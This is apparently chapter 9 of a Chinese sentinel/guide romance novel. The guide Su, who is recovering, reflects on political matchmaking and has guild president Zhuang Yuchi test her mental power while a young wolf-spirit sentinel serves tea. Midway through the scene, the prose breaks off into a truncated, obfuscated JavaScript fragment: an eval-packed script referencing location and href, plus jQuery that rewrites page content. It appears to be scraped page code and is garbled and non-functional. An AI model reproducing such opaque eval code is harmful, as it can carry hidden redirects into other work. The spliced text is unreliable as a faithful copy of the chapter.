9. “要继续吗?”

第七机关那边似乎催得很急,闻玉京没再耽搁,匆匆同她道别后就离开了。


苏信步走到织有银质蔷薇藤蔓的落地窗前,无声地注视着他的背影消失在门前深黑的轿车里。


第七机关的公务用车,车身总是烙着个灰色的、如剑如蛇的印记。随着车子启动,那枚图案仿佛也活了过来,依照车行的方向往前蜿蜒游动。


……他是往北面去。


苏回忆着中心区的地图,心下了然。


温特伯尔尼宅邸位于中心区南侧,再往北去,最近的便是事务管理局的办公楼,以及立法会大厦。


元/首官邸、向导协会同样在那个方向,闻玉京大概是要把她精神体成形的消息报上去。


苏想起他方才陡然僵直的身形、泛红的耳垂,唇角微扬。


真是有趣,她还是第一次见他露出这样……可爱的表情。


然而闻玉京不算是一个合适的匹配对象:他性格恶劣、阴鸷,远比其他s级哨兵难以控制,又有伤害替他做精神梳理的向导的前科。


立法会众委员如果听闻她恢复的消息,大半都会属意阿尔维斯·霍克,而非闻玉京。


除非她明确表示对阿尔维斯的不喜,委员们才会开始考虑他。


谁叫这两个人是s级哨兵里同她基因匹配度最高的呢?


苏漫不经心地想着,指尖勾过丝制的窗帘,将之拉上。


天光由此变得朦胧,笼在她面上,仿佛一层刚织好不久的、轻飘飘的纱幔。


“可惜,现在我两个都不想选。”


她微握着雪白的窗帘,语声低缓,细微得像是一缕刚牵出的蛛丝。


蜘蛛结网时,总会先放出一根搜索丝,用于找寻固定丝网另一端的地方。


现在,蛛丝还未触到实处,网的框架也没织好,贸然选定匹配对象对她的后续布局不利。


而且……


苏轻轻眯了下眼。


是她想岔了,委员们不一定会属意她与阿尔维斯、闻玉京两人接触。


温特伯尔尼家本身在阿纳希德高层中已算大族,只是布兰森死后逐渐退离权力中心。如若布兰森还在,他这两年应当有望接任委员之位。


阿尔维斯出身的霍克一族同样是阿纳希德建立初始便存在的庞然大物,如果她选择阿尔维斯作为新的伴侣,温特伯尔尼家必将有望重夺委员席位,这不是某些人想要见到的。


闻玉京也是如此,甚至她选择闻玉京,还能更快掌握委员们的把柄。


可惜不行,在她恢复到能同那些老古板们叫板之前,她得先迂回一些。


那就只能先在这两人之外的s级哨兵里挑选了。


苏漠然地想着,轻点腕表,照之前她同闻玉京说的那样,联系庄玉池过来。


她没有等太久,仅仅十来分钟后,便听到了有客来访的铃声再度响起。


不多时,门外传来沧浪的声音:“庄会长,苏姨在会客室里面。”


“多谢。”一道温润的男声遥遥传来。


门“吱呀”一响。


穿着绸缎长衫的男人缓步行进房间,走动时衣摆轻晃,其上梅枝云影摇成雪一样的浪,也像是白孔雀开屏时抖动的尾羽。


他在苏对面落座,茶色的眼睛澄澈清透,一瞬不瞬地落在她面上。


那目光里没有审视,只有担忧与丝丝缕缕的庆幸。


苏自清晨便绷紧的脊背松懈下来。她没有再挺直背,反倒靠进座椅软垫,像陷进一朵甜蜜的云里。


……和哨兵们谈话总要字斟句酌,面对同为向导的庄玉池,她反倒可以放松一些。


她看着穹顶的光洒落在庄玉池身上,犹如一只丝线编织的大手轻柔地抚摸他的白发。那光线一直流淌到他长发堆叠的腰际,像蓄了一汪月,又像积了一捧雪。


苏忍不住笑起来:“难怪不少哨兵都把你当梦中情人,玉池。”


“你看起来可比我漂亮多了。”


庄玉池没想到她先冒出这样一番话,无奈地笑了一声,埋怨她道:“瞎说什么。”


他手搭在桌面上,翡翠镯子随着说话的动作轻摇,拨出一圈接一圈的碧色水浪。


“你看上去,状态的确比几个月前好上很多。”庄玉池慢慢转动着手上的羊脂玉扳指,目光若有所思地扫过苏面上每个角落,“能伸手给我吗?”


像是怕被拒绝,他温雅地补充,“一会就好。”


“当然。”


苏自是不会拒绝,她请庄玉池过来,本就是让自己的恢复过个明面。


闻玉京将消息递上去,最终只会局限在立法会众委员当中,她则要更多听过她名字的人知道,她正在缓慢恢复,甚至还有可能回到原本的水平。


——她要平静多年的中心区乃至阿纳希德再次动起来,让潜藏水底的东西露出水面。


于是她伸出手。


庄玉池很慢地握住她的指尖。


他温润如水的精神力聚成细线,很小心地顺着她手指往上走,苏感到微微的刺痛从骨骼附近游过。


“可以接受吗?”上游的精神力顿在腕骨处,庄玉池抬头轻声问她。他唇边的温润笑意不知何时消失了,只剩下小心至极的端肃,“或者不用这种方式,尝试向我展示你的精神图景?”


苏摇摇头:“就这样吧。”


与其他向导不同,庄玉池的精神力不会引发向导精神力相互排斥的状况,这也是元/首力排众议将他点做向导协会会长的原因之一。


她抬眼看着庄玉池的脸,有一缕发丝垂在他脸颊前,发尾微弯,形如半弯残月。


他视线专注地落在两人交握的手上,茶色的眼眸被雪色的睫毛微掩住神光,就像是一尊精心雕琢的玉瓷被奉在神位上,不似真人。


……可他以前不是这样的。


苏叹了口气,在不会伤害到自己的情况下将手往前送了送,指尖抵住庄玉池也如瓷器一般凉的手心:“不用担心我,请继续吧。”


庄玉池重新抬眼看她。


他这十几年来每隔三月总要同苏见上一面,都是为了替立法会探看她的精神力恢复如何。


只是往前的几十次都是石沉大海,她的反抗微弱到连最弱的那批向导都比不上。


庄玉池不清楚其他人是如何想的,但他希望苏能好起来,至少恢复到她原本四分之一的水平——就这样她也能与B级向导相当,有一定的反抗能力。


兰登成年之后,她无论如何都要进入新的匹配关系当中,有能力自保总比依附哨兵生活要好。


……但依照她的性子,总不会沦落到他现在的处境。


“真要继续吗?”他缓慢反问,手掌微合包住苏的手指,袖口却垂落下去,露出他手臂上伸展的裂纹,就像是瓷器釉面上金丝铁线般的冰裂,“如果还要继续,请排斥我、驱逐我……”


“……拒绝我。”


他神情看起来比方才脆弱很多,苏温柔地望着他,轻轻承诺说:“我会的。”


得了允准,原本停驻在她手腕上的精神力一瞬向上暴涨,仿佛骤然上升的大潮。


它不复方才的温和,暴戾如奔腾的洪流,又像一支利箭,准确刺向苏收拢成珠的精神图景。


苏一瞬仿佛看见了眼神冰冷的白孔雀,它昂首立在她身前,身后翎羽展开,仿佛有无数苍白色的眼瞳正凝望着她。


她有意识收敛了精神力探出的力道,只轻轻将这幻影击碎,余下的精神力裹挟着庄玉池的精神力顺着来时的路一路返回,直至将之驱逐出身体。


咔擦一声轻响。


庄玉池松开她的手,垂眼褪去已经出现细密裂纹的羊脂玉扳指


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|14964179|161202||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





他脸色比方才苍白不少,眸光却很亮,近乎笃定地说:“你精神力恢复不少。”


“是吗?”苏真心实意地笑起来,“多谢。”


天光透过窗帘布料,很温柔地笼罩在她背上,混着会客室里原本的光线,染出一种如玉般的光晕。


她的面庞在这玉质的光晕中熠熠生辉,笑容也镀上暖光,宛如寺庙里拈花持瓶的观音。


庄玉池怔怔看着她,指腹无意触到扳指表面的裂痕。


他轻嘶一声,垂眼去看。


一道很细的血口从他指尖扯出,血珠沁出伤痕,落在象牙白的桌面上。


苏见了微微蹙眉:“怎么不小心些?”


他的手被拉过去,一张柔软的丝帕覆在他指尖的伤口上,还未凝结的血滴浸上去,像是雪地上散落的红梅。


庄玉池后知后觉地红了耳垂,有些腼腆地收回手:“没关系,很快就会好了。”


“那也不行。”苏说,“你身体也没比我好到哪去,要多加注意些。”


庄玉池应了,心里却想起十五年前的日子。那会她面色苍白、浑身是血的被霍克从荒原带回来,被放平到手术台上的时候,胸口几乎没有起伏。


他那会以为她要死了。


结/合带来的情感悸动,值得她为之赴死吗?


他那会对此没有答案,现在却有。


只是……


“对了,玉池。”苏的声音将他从回忆中拉回现实。庄玉池轻轻眨眼,不知道她叫他是要做什么。


她似乎想要给他倒茶,手背触到茶壶侧面时,又有些懊恼地收回来:“有点冷了。”


庄玉池想说不必,他本也不需要喝茶,但笃笃的敲门声让他的话止在口中。


“苏姨,庄会长。”方才指引他过来的年轻哨兵在门外说,“我端了新茶过来。”


他有些惊讶地回过头,看着银发的哨兵得到允许后,托着茶盘走进房间,轻轻放在桌面上。


做完一切后,他抬头看向苏。


明明不清楚他的精神体是什么,庄玉池却总觉得有尾巴在他身后摇。


……他看上去很依恋苏,是把她当妈妈吗?


“乖孩子。”苏轻声对他说,“今天多亏了你。”


年轻哨兵脸颊微红,很轻地回答:“没有……”


苏笑了笑并不多说,只对庄玉池道:“这是个好孩子,精神体是狼,脾气很好。”


她没再多说,庄玉池却心领神会,点了下头:“最近的确有联谊活动安排,邀请函我会派人送过来。”


他看着年轻哨兵略显迷茫的神情,看在苏的面子上难得温声补充:“放心,不是让你马上挑选心仪的向导,协会并不强迫这事。”


苏将年轻哨兵往自己身后拉,为庄玉池倒上一盏新茶,笑着说:“他大概是觉得太早了。”


这是后续的对话不用避着这小家伙的意思。


庄玉池拢了拢袖子,又用杯盖拨过茶面。


他注视着琥珀色的水面上自己的倒影,说:“苏,既然你精神力已经初初恢复,那我就要为你安排进一步的检查了。”


“你什么时候有空?”


苏敛眉想了想,回答说:“越快越好。”


那个年轻哨兵在对话中很安静地站在她身后,像是忠实的侍卫,一言不发地藏在影子里。


年轻人怎么会没有一点锋锐气呢,他温吞得像是被绸缎包裹完好的利刃,半点锐意都窥不到影。


苏留这么一个刚成年的哨兵在身边干什么?她之后还要选新的匹配对象。


庄玉池忍不住又看了他一眼,才答应下来:


“我知道了。”


他捧起杯盏抿了一口,被苦得皱眉,又放下茶杯,慢慢地说。


“我明天亲自过来接你。”